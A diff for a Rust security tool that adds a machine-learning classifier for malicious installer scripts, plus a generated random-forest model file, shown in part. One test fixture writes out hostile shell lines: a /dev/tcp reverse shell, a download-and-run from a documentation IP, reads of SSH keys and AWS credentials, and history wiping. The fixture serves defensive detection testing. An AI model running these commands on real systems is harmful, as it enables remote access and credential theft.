let record = serde_json::json!({ + "path": path.display().to_string(), + "installer_type": artifact.kind, + "ml_probability": probability, + "features": map, + }); + if paths.len() == 1 { + println!("{}", serde_json::to_string_pretty(&record)?); + } else { + println!("{record}"); + } + } else { + println!("{} ({:?})", path.display(), artifact.kind); + for (n, v) in names.iter().zip(&values) { + println!(" {n:<24} {v:.4}"); + } + println!(" {:<24} {probability:.4}", "ml_probability"); + } + } + Ok(()) } async fn stream_pm(registry: &str, package: &str, raw: &str, json: bool) -> Result { @@ -327,6 +402,7 @@ async fn stream_pm(registry: &str, package: &str, raw: &str, json: bool) -> Resu risk, findings, package_summary: summary, + ml_probability: None, }; if !json { report::print_score(assessment.score, &assessment.risk, &sources); diff --git a/src/ml.rs b/src/ml.rs new file mode 100644 index 0000000..0def6c5 --- /dev/null +++ b/src/ml.rs @@ -0,0 +1,140 @@ +// Machine learning classifier scores installer scripts with a model trained offline in ml/. +// The generated model in ml_model.rs is pure Rust, so inference needs no runtime or network. + +use crate::analyzer::{Finding, Severity}; +use crate::features; +use crate::ml_model; +use crate::source::{Artifact, InstallerKind}; + +pub struct Prediction { + pub probability: f64, + pub signals: Vec<&'static str>, +} + +/// Scores a script artifact. Executables are skipped because the model is trained on scripts. +pub fn predict(artifact: &Artifact) -> Option { + if matches!(artifact.kind, InstallerKind::Executable) { + return None; + } + let values = features::extract(artifact); + Some(Prediction { + probability: probability(&values), + signals: top_signals(&values, 3), + }) +} + +/// Malicious-class probability for a feature vector produced by `features::extract`. +pub fn probability(values: &[f64]) -> f64 { + ml_model::score(values)[1].clamp(0.0, 1.0) +} + +/// Converts a prediction into a finding once it crosses the model's decision threshold. +pub fn finding(prediction: &Prediction) -> Option { + let p = prediction.probability; + if p < ml_model::THRESHOLD { + return None; + } + let span = (p - ml_model::THRESHOLD) / (1.0 - ml_model::THRESHOLD); + let (severity, detail) = match p { + p if p >= 0.9 => ( + Severity::Critical, + "Classifier is highly confident this script resembles known malicious installers", + ), + p if p >= 0.75 => ( + Severity::High, + "Classifier finds this script closely resembles known malicious installers", + ), + _ => ( + Severity::Medium, + "Classifier finds some resemblance to known malicious installers", + ), + }; + let mut evidence = format!("p(malicious) = {p:.2}"); + if !prediction.signals.is_empty() { + evidence.push_str(&format!("; top signals: {}", prediction.signals.join(", "))); + } + Some(Finding { + source: "ML Model", + title: "Resembles malicious installer", + detail, + severity, + score: (15.0 + 30.0 * span).round() as u8, + evidence, + }) +} + +/// Active behavioral features ranked by the model's global importance. +fn top_signals(values: &[f64], n: usize) -> Vec<&'static str> { + let mut active: Vec<(usize, f64)> = ml_model::FEATURE_NAMES + .iter() + .enumerate() + .filter(|(i, name)| values[*i] > 0.0 && features::is_signal(name)) + .map(|(i, _)| (i, ml_model::IMPORTANCES[i])) + .collect(); + active.sort_by(|a, b| b.1.total_cmp(&a.1)); + active + .into_iter() + .take(n) + .map(|(i, _)| ml_model::FEATURE_NAMES[i]) + .collect() +} + +#[cfg(test)] +mod tests { + use super::*; + use url::Url; + + fn artifact(script: &str, kind: InstallerKind) -> Artifact { + Artifact { + bytes: script.as_bytes().to_vec(), + kind, + url: Url::parse("https://example.com/install").unwrap(), + } + } + + #[test] + fn model_features_match_extractor() { + assert_eq!(ml_model::FEATURE_NAMES, features::names().as_slice()); + assert_eq!(ml_model::IMPORTANCES.len(), features::COUNT); + } + + #[test] + fn skips_executables() { + assert!(predict(&artifact("MZ\0\0", InstallerKind::Executable)).is_none()); + } + + #[test] + fn clean_installer_stays_below_threshold() { + let script = "#!/usr/bin/env bash\nset -euo pipefail\nusage() { echo 'usage: install.sh'; }\n\ + url=https://github.com/o/r/releases/download/v1/tool.tar.gz\n\ + curl -fsSL \"$url\" -o tool.tar.gz\nsha256sum -c tool.sha256\n\ + tar -xzf tool.tar.gz\ninstall -Dm755 tool \"$HOME/.local/bin/tool\"\n"; + let p = predict(&artifact(script, InstallerKind::Bash)).unwrap(); + assert!(p.probability < ml_model::THRESHOLD, "clean installer scored {}", p.probability); + assert!(finding(&p).is_none()); + } + + #[test] + fn dense_indicator_script_is_flagged() { + let script = "#!/bin/bash\n\ + echo 'bash -i >& /dev/tcp/192.0.2.13/4444 0>&1'\n\ + curl http://192.0.2.50/a -o /tmp/a && chmod +x /tmp/a\n\ + nohup /tmp/a &\ncat ~/.ssh/id_rsa ~/.aws/credentials\n\ + history -c; unset HISTFILE\nPAYLOAD=aGVsbG8gd29ybGQgdGhpcyBpcyBhIGxvbmcgYmFzZTY0IGJsb2I=\n\ + echo \"$PAYLOAD\" | base64 --decode\n"; + let p = predict(&artifact(script, InstallerKind::Bash)).unwrap(); + assert!(p.probability >= ml_model::THRESHOLD, "indicator script scored {}", p.probability); + assert!(finding(&p).is_some()); + } + + #[test] + fn finding_respects_threshold() { + let low = Prediction { probability: 0.1, signals: vec![] }; + assert!(finding(&low).is_none()); + let high = Prediction { probability: 0.97, signals: vec!["sh_reverse_shell"] }; + let f = finding(&high).unwrap(); + assert_eq!(f.source, "ML Model"); + assert!(matches!(f.severity, Severity::Critical)); + assert!(f.evidence.contains("sh_reverse_shell")); + } +} diff --git a/src/ml_model.rs b/src/ml_model.rs new file mode 100644 index 0000000..734cdec --- /dev/null +++ b/src/ml_model.rs @@ -0,0 +1,13897 @@ +// Generated by ml/train.py via m2cgen — do not edit by hand. +// Pure-Rust inference for the installer classifier (random_forest); no runtime dependency. +// Regenerate with: python ml/train.py + +#![allow(clippy::all, clippy::pedantic, dead_code, unused_parens, unused_variables)] + +pub const MODEL_NAME: &str = "random_forest"; +pub const THRESHOLD: f64 = 0.53; +pub const FEATURE_NAMES: &[&str] = &["rule_exec_downloaded", "rule_downloads", "rule_privilege", "rule_persistence", "rule_profile", "rule_chmod", "rule_registry", "rule_disable_security", "rule_encoded_exec", "rule_recursive_delete", "log_size", "log_lines", "avg_line_len", "log_max_line_len", "long_line_ratio", "entropy", "comment_ratio", "blank_ratio", "non_ascii_ratio", "symbol_ratio", "dollar_per_line", "url_count", "http_url_count", "ip_url_count", "ipv4_count", "distinct_hosts", "base64_tokens", "log_longest_token", "function_count", "hex_escapes", "char_codes", "string_concat", "backtick_obfuscation", "ps_iex", "ps_hidden_window", "ps_exec_bypass", "ps_download_cradle", "ps_reflection", "sh_reverse_shell", "sh_eval", "anti_forensics", "credential_access", "crypto_mining", "exfiltration", "tmp_exec_dir", "background_exec", "file_lock", "process_kill", "user_creation", "ssh_key_injection", "checksum_verify", "usage_help", "kind_bash", "kind_powershell", "kind_python", "kind_executable", "kind_text"]; +pub const IMPORTANCES: &[f64] = &[0.0301941, 0.253231, 0.134296, 0.00736168, 0.000943956, 0.0622782, 0.0, 0.00422945, 0.0200385, 0.00325978, 0.00563351, 0.00709315, 0.00702475, 0.0118147, 0.0244313, 0.0449626, 0.0381359, 0.00360885, 0.000474752, 0.00515431, 0.0172576, 0.0106223, 0.00248198, 0.03342, 0.00512977, 0.0133238, 0.00803716, 0.0183414, 0.00268864, 0.0050545, 0.00505308, 0.00876568, 0.00870662, 0.00515819, 0.0143298, 0.0113579, 0.00278718, 0.000428031, 0.0103047, 0.00101, 0.00380438, 0.0128076, 0.00256383, 0.0193498, 0.00783355, 0.0289274, 0.000889182, 0.0462499, 0.00232275, 0.011069, 0.00400204, 0.00830354, 0.00105458, 0.00160909, 0.000673897, 0.0, 0.000115378]; + +/// Malicious-class probability at index 1, benign at index 0. +pub fn score(input: &[f64]) -> [f64; 2] { + let out = generated::score(input.to_vec()); + [out[0], out.get(1).copied().unwrap_or(0.0)] +} + +mod generated { + #![allow(clippy::all, dead_code, unused_parens)] + pub fn score(input: Vec) -> Vec { + let var0: Vec; + if input[26] <= 0.34657350182533264_f64 { + if input[32] <= 0.34657350182533264_f64 { + if input[21] <= 0.34657350182533264_f64 { + if input[7] <= 0.5_f64 { + if input[45] <= 0.34657350182533264_f64 { + if input[43] <= 0.34657350182533264_f64 { + if input[53] <= 0.5_f64 { + if input[44] <= 0.34657350182533264_f64 { + if input[48] <= 0.34657350182533264_f64 { + var0 = vec![0.9120370370370371_f64, 0.08796296296296297_f64]; + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } else { + var0 = vec![1.0_f64, 0.0_f64]; + } + } else { + var0 = vec![1.0_f64, 0.0_f64]; + } + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[16] <= 0.05396704934537411_f64 { + if input[23] <= 0.34657350182533264_f64 { + if input[3] <= 0.5_f64 { + if input[13] <= 4.886574983596802_f64 { + var0 = vec![1.0_f64, 0.0_f64]; + } else { + if input[27] <= 4.348590135574341_f64 { + if input[9] <= 0.5_f64 { + var0 = vec![0.5_f64, 0.5_f64]; + } else { + var0 = vec![0.5_f64, 0.5_f64]; + } + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[16] <= 0.07919264957308769_f64 { + if input[17] <= 0.13619649782776833_f64 { + if input[28] <= 1.9355999827384949_f64 { + var0 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } else { + var0 = vec![0.5_f64, 0.5_f64]; + } + } else { + var0 = vec![1.0_f64, 0.0_f64]; + } + } else { + if input[19] <= 0.044214898720383644_f64 { + if input[51] <= 0.5493050217628479_f64 { + if input[23] <= 0.34657350182533264_f64 { + if input[12] <= 33.11764907836914_f64 { + var0 = vec![1.0_f64, 0.0_f64]; + } else { + var0 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } + } else { + var0 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } + } else { + var0 = vec![1.0_f64, 0.0_f64]; + } + } else { + var0 = vec![1.0_f64, 0.0_f64]; + } + } + } + } + } else { + if input[53] <= 0.5_f64 { + if input[23] <= 0.34657350182533264_f64 { + var0 = vec![1.0_f64, 0.0_f64]; + } else { + if input[44] <= 0.34657350182533264_f64 { + var0 = vec![0.5_f64, 0.5_f64]; + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[8] <= 0.5_f64 { + if input[34] <= 0.5_f64 { + if input[1] <= 0.5_f64 { + var0 = vec![1.0_f64, 0.0_f64]; + } else { + if input[16] <= 0.05961665138602257_f64 { + if input[11] <= 2.841789960861206_f64 { + var0 = vec![1.0_f64, 0.0_f64]; + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[48] <= 0.34657350182533264_f64 { + var0 = vec![1.0_f64, 0.0_f64]; + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[22] <= 1.2424499988555908_f64 { + if input[25] <= 1.4978649616241455_f64 { + var0 = vec![0.0_f64, 1.0_f64]; + } else { + if input[19] <= 0.07099699974060059_f64 { + var0 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + var0 = vec![0.5_f64, 0.5_f64]; + } + } + } + let var1: Vec; + if input[26] <= 0.34657350182533264_f64 { + if input[2] <= 0.5_f64 { + if input[16] <= 0.10782299935817719_f64 { + if input[43] <= 0.34657350182533264_f64 { + if input[0] <= 0.5_f64 { + if input[1] <= 0.5_f64 { + if input[33] <= 0.34657350182533264_f64 { + var1 = vec![1.0_f64, 0.0_f64]; + } else { + var1 = vec![0.5_f64, 0.5_f64]; + } + } else { + if input[12] <= 26.90545082092285_f64 { + var1 = vec![1.0_f64, 0.0_f64]; + } else { + if input[17] <= 0.16580750048160553_f64 { + if input[28] <= 2.341064929962158_f64 { + var1 = vec![0.0_f64, 1.0_f64]; + } else { + var1 = vec![0.5_f64, 0.5_f64]; + } + } else { + if input[10] <= 7.308204889297485_f64 { + var1 = vec![1.0_f64, 0.0_f64]; + } else { + var1 = vec![0.5_f64, 0.5_f64]; + } + } + } + } + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[15] <= 5.63876485824585_f64 { + if input[22] <= 0.34657350182533264_f64 { + var1 = vec![1.0_f64, 0.0_f64]; + } else { + if input[13] <= 4.629994869232178_f64 { + if input[20] <= 0.24969099462032318_f64 { + var1 = vec![1.0_f64, 0.0_f64]; + } else { + var1 = vec![0.5_f64, 0.5_f64]; + } + } else { + var1 = vec![1.0_f64, 0.0_f64]; + } + } + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[1] <= 0.5_f64 { + if input[25] <= 0.34657350182533264_f64 { + if input[23] <= 0.34657350182533264_f64 { + var1 = vec![0.6_f64, 0.4_f64]; + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } else { + var1 = vec![1.0_f64, 0.0_f64]; + } + } else { + if input[13] <= 5.27529501914978_f64 { + if input[19] <= 0.01293194992467761_f64 { + var1 = vec![0.4_f64, 0.6_f64]; + } else { + if input[21] <= 0.34657350182533264_f64 { + var1 = vec![0.0_f64, 1.0_f64]; + } else { + if input[11] <= 3.6723599433898926_f64 { + if input[15] <= 5.165090084075928_f64 { + var1 = vec![0.5_f64, 0.5_f64]; + } else { + var1 = vec![0.5_f64, 0.5_f64]; + } + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + if input[16] <= 0.06476899981498718_f64 { + var1 = vec![0.0_f64, 1.0_f64]; + } else { + if input[28] <= 2.6365000009536743_f64 { + var1 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } else { + var1 = vec![1.0_f64, 0.0_f64]; + } + } + } + } + } + } else { + if input[15] <= 5.422495126724243_f64 { + if input[1] <= 0.5_f64 { + var1 = vec![1.0_f64, 0.0_f64]; + } else { + if input[0] <= 0.5_f64 { + if input[11] <= 6.100484848022461_f64 { + if input[2] <= 0.5_f64 { + if input[17] <= 0.13110899925231934_f64 { + var1 = vec![0.16666666666666666_f64, 0.8333333333333334_f64]; + } else { + var1 = vec![1.0_f64, 0.0_f64]; + } + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[49] <= 0.5493050217628479_f64 { + var1 = vec![1.0_f64, 0.0_f64]; + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[31] <= 0.8958785235881805_f64 { + if input[30] <= 0.34657350182533264_f64 { + if input[13] <= 4.563859939575195_f64 { + var1 = vec![0.0_f64, 1.0_f64]; + } else { + if input[29] <= 0.5493050217628479_f64 { + if input[2] <= 0.5_f64 { + var1 = vec![1.0_f64, 0.0_f64]; + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } + } + let var2: Vec; + if input[1] <= 0.5_f64 { + if input[23] <= 0.8958785235881805_f64 { + if input[32] <= 1.4978649616241455_f64 { + if input[35] <= 0.34657350182533264_f64 { + if input[30] <= 0.34657350182533264_f64 { + if input[43] <= 0.5493050217628479_f64 { + if input[47] <= 0.34657350182533264_f64 { + var2 = vec![1.0_f64, 0.0_f64]; + } else { + var2 = vec![0.5_f64, 0.5_f64]; + } + } else { + var2 = vec![0.0_f64, 1.0_f64]; + } + } else { + var2 = vec![0.0_f64, 1.0_f64]; + } + } else { + var2 = vec![0.5_f64, 0.5_f64]; + } + } else { + if input[21] <= 0.5493050217628479_f64 { + var2 = vec![0.0_f64, 1.0_f64]; + } else { + var2 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } + } + } else { + var2 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[31] <= 0.34657350182533264_f64 { + if input[10] <= 9.094299793243408_f64 { + if input[27] <= 3.8709850311279297_f64 { + var2 = vec![0.0_f64, 1.0_f64]; + } else { + if input[17] <= 0.12556300312280655_f64 { + if input[12] <= 37.7150993347168_f64 { + if input[21] <= 1.2424499988555908_f64 { + var2 = vec![0.0_f64, 1.0_f64]; + } else { + var2 = vec![0.16666666666666666_f64, 0.8333333333333334_f64]; + } + } else { + var2 = vec![0.25_f64, 0.75_f64]; + } + } else { + if input[29] <= 0.34657350182533264_f64 { + if input[23] <= 0.34657350182533264_f64 { + if input[48] <= 0.34657350182533264_f64 { + if input[25] <= 0.34657350182533264_f64 { + var2 = vec![0.0_f64, 1.0_f64]; + } else { + var2 = vec![0.8888888888888888_f64, 0.1111111111111111_f64]; + } + } else { + var2 = vec![0.0_f64, 1.0_f64]; + } + } else { + var2 = vec![0.0_f64, 1.0_f64]; + } + } else { + var2 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + if input[23] <= 0.34657350182533264_f64 { + if input[50] <= 0.5493050217628479_f64 { + if input[25] <= 2.2975600957870483_f64 { + if input[20] <= 0.6270354986190796_f64 { + if input[10] <= 9.262054920196533_f64 { + var2 = vec![1.0_f64, 0.0_f64]; + } else { + if input[10] <= 9.845280170440674_f64 { + var2 = vec![0.2_f64, 0.8_f64]; + } else { + var2 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[15] <= 5.093374967575073_f64 { + var2 = vec![1.0_f64, 0.0_f64]; + } else { + var2 = vec![0.5_f64, 0.5_f64]; + } + } + } else { + var2 = vec![1.0_f64, 0.0_f64]; + } + } else { + var2 = vec![1.0_f64, 0.0_f64]; + } + } else { + var2 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + var2 = vec![0.0_f64, 1.0_f64]; + } + } + let var3: Vec; + if input[16] <= 0.11792750284075737_f64 { + if input[2] <= 0.5_f64 { + if input[23] <= 0.34657350182533264_f64 { + if input[15] <= 5.4258551597595215_f64 { + if input[1] <= 0.5_f64 { + if input[22] <= 0.34657350182533264_f64 { + var3 = vec![1.0_f64, 0.0_f64]; + } else { + if input[12] <= 30.172249794006348_f64 { + if input[11] <= 4.337870001792908_f64 { + var3 = vec![0.5_f64, 0.5_f64]; + } else { + var3 = vec![1.0_f64, 0.0_f64]; + } + } else { + var3 = vec![1.0_f64, 0.0_f64]; + } + } + } else { + if input[17] <= 0.16800150275230408_f64 { + if input[19] <= 0.09043915197253227_f64 { + if input[27] <= 4.185504913330078_f64 { + if input[13] <= 4.643095016479492_f64 { + var3 = vec![0.0_f64, 1.0_f64]; + } else { + var3 = vec![0.5_f64, 0.5_f64]; + } + } else { + var3 = vec![1.0_f64, 0.0_f64]; + } + } else { + var3 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[21] <= 1.3540250062942505_f64 { + if input[19] <= 0.03844044916331768_f64 { + var3 = vec![0.0_f64, 1.0_f64]; + } else { + var3 = vec![1.0_f64, 0.0_f64]; + } + } else { + var3 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + if input[1] <= 0.5_f64 { + var3 = vec![1.0_f64, 0.0_f64]; + } else { + var3 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[22] <= 0.34657350182533264_f64 { + var3 = vec![0.0_f64, 1.0_f64]; + } else { + if input[38] <= 0.34657350182533264_f64 { + var3 = vec![0.5_f64, 0.5_f64]; + } else { + var3 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + if input[50] <= 0.6931449770927429_f64 { + if input[23] <= 0.34657350182533264_f64 { + if input[12] <= 34.939849853515625_f64 { + if input[27] <= 4.498820066452026_f64 { + var3 = vec![0.0_f64, 1.0_f64]; + } else { + if input[15] <= 5.4205451011657715_f64 { + if input[47] <= 0.34657350182533264_f64 { + if input[0] <= 0.5_f64 { + var3 = vec![1.0_f64, 0.0_f64]; + } else { + var3 = vec![0.0_f64, 1.0_f64]; + } + } else { + var3 = vec![0.0_f64, 1.0_f64]; + } + } else { + var3 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[13] <= 5.264714956283569_f64 { + var3 = vec![0.0_f64, 1.0_f64]; + } else { + if input[35] <= 0.34657350182533264_f64 { + var3 = vec![0.8_f64, 0.2_f64]; + } else { + var3 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + var3 = vec![0.0_f64, 1.0_f64]; + } + } else { + var3 = vec![1.0_f64, 0.0_f64]; + } + } + } else { + if input[2] <= 0.5_f64 { + if input[37] <= 0.34657350182533264_f64 { + if input[44] <= 0.8958785235881805_f64 { + if input[16] <= 0.12499099969863892_f64 { + if input[17] <= 0.12950199842453003_f64 { + var3 = vec![0.4_f64, 0.6_f64]; + } else { + var3 = vec![1.0_f64, 0.0_f64]; + } + } else { + if input[13] <= 4.226809978485107_f64 { + if input[20] <= 0.20192299783229828_f64 { + var3 = vec![0.5_f64, 0.5_f64]; + } else { + var3 = vec![1.0_f64, 0.0_f64]; + } + } else { + if input[19] <= 0.05322444997727871_f64 { + var3 = vec![1.0_f64, 0.0_f64]; + } else { + if input[8] <= 0.5_f64 { + var3 = vec![1.0_f64, 0.0_f64]; + } else { + var3 = vec![0.5_f64, 0.5_f64]; + } + } + } + } + } else { + var3 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } + } else { + var3 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[15] <= 5.037660121917725_f64 { + if input[12] <= 32.79699897766113_f64 { + if input[15] <= 4.8909149169921875_f64 { + var3 = vec![0.0_f64, 1.0_f64]; + } else { + var3 = vec![1.0_f64, 0.0_f64]; + } + } else { + var3 = vec![1.0_f64, 0.0_f64]; + } + } else { + if input[19] <= 0.04163550026714802_f64 { + var3 = vec![0.0_f64, 1.0_f64]; + } else { + if input[32] <= 0.5493050217628479_f64 { + if input[11] <= 6.767755031585693_f64 { + if input[26] <= 0.8958785235881805_f64 { + var3 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } else { + var3 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } + } else { + var3 = vec![1.0_f64, 0.0_f64]; + } + } else { + var3 = vec![0.0_f64, 1.0_f64]; + } + } + } + } + } + let var4: Vec; + if input[2] <= 0.5_f64 { + if input[1] <= 0.5_f64 { + if input[44] <= 0.34657350182533264_f64 { + if input[32] <= 1.5222600102424622_f64 { + var4 = vec![1.0_f64, 0.0_f64]; + } else { + var4 = vec![0.2857142857142857_f64, 0.7142857142857143_f64]; + } + } else { + if input[19] <= 0.051456449553370476_f64 { + var4 = vec![0.0_f64, 1.0_f64]; + } else { + if input[43] <= 0.5493050217628479_f64 { + var4 = vec![1.0_f64, 0.0_f64]; + } else { + var4 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + if input[12] <= 33.038700103759766_f64 { + if input[13] <= 4.689280033111572_f64 { + if input[26] <= 0.34657350182533264_f64 { + if input[16] <= 0.09485144913196564_f64 { + var4 = vec![0.0_f64, 1.0_f64]; + } else { + if input[43] <= 0.5493050217628479_f64 { + var4 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } else { + var4 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + var4 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[13] <= 4.8242950439453125_f64 { + var4 = vec![1.0_f64, 0.0_f64]; + } else { + if input[16] <= 0.07385079935193062_f64 { + if input[17] <= 0.06650674901902676_f64 { + var4 = vec![0.5_f64, 0.5_f64]; + } else { + var4 = vec![0.0_f64, 1.0_f64]; + } + } else { + var4 = vec![1.0_f64, 0.0_f64]; + } + } + } + } else { + if input[31] <= 0.34657350182533264_f64 { + if input[14] <= 0.09318750351667404_f64 { + if input[23] <= 0.34657350182533264_f64 { + if input[0] <= 0.5_f64 { + var4 = vec![1.0_f64, 0.0_f64]; + } else { + var4 = vec![0.0_f64, 1.0_f64]; + } + } else { + var4 = vec![0.0_f64, 1.0_f64]; + } + } else { + var4 = vec![0.0_f64, 1.0_f64]; + } + } else { + var4 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + if input[1] <= 0.5_f64 { + if input[15] <= 5.417959928512573_f64 { + if input[24] <= 0.34657350182533264_f64 { + var4 = vec![0.8888888888888888_f64, 0.1111111111111111_f64]; + } else { + var4 = vec![0.0_f64, 1.0_f64]; + } + } else { + var4 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[16] <= 0.2366500049829483_f64 { + if input[44] <= 0.34657350182533264_f64 { + if input[26] <= 0.34657350182533264_f64 { + if input[31] <= 0.34657350182533264_f64 { + if input[20] <= 0.8452380001544952_f64 { + if input[12] <= 34.53030014038086_f64 { + if input[25] <= 1.2424499988555908_f64 { + var4 = vec![0.0_f64, 1.0_f64]; + } else { + var4 = vec![0.5_f64, 0.5_f64]; + } + } else { + var4 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } + } else { + if input[13] <= 4.6743550300598145_f64 { + var4 = vec![0.0_f64, 1.0_f64]; + } else { + var4 = vec![1.0_f64, 0.0_f64]; + } + } + } else { + var4 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[25] <= 2.2975600957870483_f64 { + var4 = vec![0.0_f64, 1.0_f64]; + } else { + var4 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } + } + } else { + var4 = vec![0.0_f64, 1.0_f64]; + } + } else { + var4 = vec![0.6_f64, 0.4_f64]; + } + } + } + let var5: Vec; + if input[43] <= 0.34657350182533264_f64 { + if input[32] <= 0.34657350182533264_f64 { + if input[23] <= 0.34657350182533264_f64 { + if input[7] <= 0.5_f64 { + if input[14] <= 0.054325900971889496_f64 { + if input[1] <= 0.5_f64 { + var5 = vec![1.0_f64, 0.0_f64]; + } else { + if input[3] <= 0.5_f64 { + if input[21] <= 0.34657350182533264_f64 { + if input[12] <= 31.363649368286133_f64 { + var5 = vec![0.0_f64, 1.0_f64]; + } else { + var5 = vec![0.4_f64, 0.6_f64]; + } + } else { + if input[15] <= 5.206010103225708_f64 { + var5 = vec![0.975_f64, 0.025_f64]; + } else { + var5 = vec![0.8333333333333334_f64, 0.16666666666666666_f64]; + } + } + } else { + if input[25] <= 1.7005999684333801_f64 { + var5 = vec![0.0_f64, 1.0_f64]; + } else { + var5 = vec![1.0_f64, 0.0_f64]; + } + } + } + } else { + var5 = vec![0.0_f64, 1.0_f64]; + } + } else { + var5 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[1] <= 0.5_f64 { + var5 = vec![0.4_f64, 0.6_f64]; + } else { + var5 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[31] <= 0.34657350182533264_f64 { + if input[23] <= 0.34657350182533264_f64 { + var5 = vec![1.0_f64, 0.0_f64]; + } else { + if input[1] <= 0.5_f64 { + var5 = vec![0.5_f64, 0.5_f64]; + } else { + var5 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[10] <= 10.373300075531006_f64 { + var5 = vec![0.0_f64, 1.0_f64]; + } else { + var5 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } + } + } + } else { + if input[27] <= 5.1091148853302_f64 { + var5 = vec![0.0_f64, 1.0_f64]; + } else { + if input[43] <= 0.8958785235881805_f64 { + var5 = vec![0.5_f64, 0.5_f64]; + } else { + var5 = vec![0.0_f64, 1.0_f64]; + } + } + } + let var6: Vec; + if input[34] <= 0.8465735018253326_f64 { + if input[39] <= 0.34657350182533264_f64 { + if input[42] <= 0.34657350182533264_f64 { + if input[0] <= 0.5_f64 { + if input[2] <= 0.5_f64 { + if input[27] <= 5.6566901206970215_f64 { + if input[23] <= 0.34657350182533264_f64 { + if input[10] <= 11.245800018310547_f64 { + if input[10] <= 5.634735107421875_f64 { + var6 = vec![0.9032258064516129_f64, 0.0967741935483871_f64]; + } else { + var6 = vec![0.9871794871794872_f64, 0.01282051282051282_f64]; + } + } else { + var6 = vec![0.6_f64, 0.4_f64]; + } + } else { + if input[11] <= 5.62421989440918_f64 { + var6 = vec![0.0_f64, 1.0_f64]; + } else { + var6 = vec![0.625_f64, 0.375_f64]; + } + } + } else { + if input[14] <= 0.18454120308160782_f64 { + var6 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } else { + var6 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[11] <= 6.119189977645874_f64 { + if input[16] <= 0.11722249910235405_f64 { + if input[19] <= 0.026338599622249603_f64 { + var6 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } else { + var6 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[49] <= 0.5493050217628479_f64 { + if input[51] <= 0.34657350182533264_f64 { + var6 = vec![0.625_f64, 0.375_f64]; + } else { + var6 = vec![1.0_f64, 0.0_f64]; + } + } else { + var6 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[18] <= 0.0005707865057047457_f64 { + if input[16] <= 0.031179549172520638_f64 { + var6 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } else { + var6 = vec![1.0_f64, 0.0_f64]; + } + } else { + var6 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } + } + } + } else { + var6 = vec![0.0_f64, 1.0_f64]; + } + } else { + var6 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[13] <= 4.350260019302368_f64 { + var6 = vec![0.0_f64, 1.0_f64]; + } else { + if input[16] <= 0.14177049696445465_f64 { + if input[27] <= 5.423099994659424_f64 { + if input[19] <= 0.0741911493241787_f64 { + var6 = vec![0.0_f64, 1.0_f64]; + } else { + if input[51] <= 1.0397184789180756_f64 { + var6 = vec![0.5_f64, 0.5_f64]; + } else { + var6 = vec![1.0_f64, 0.0_f64]; + } + } + } else { + var6 = vec![0.0_f64, 1.0_f64]; + } + } else { + var6 = vec![1.0_f64, 0.0_f64]; + } + } + } + } else { + var6 = vec![0.0_f64, 1.0_f64]; + } + let 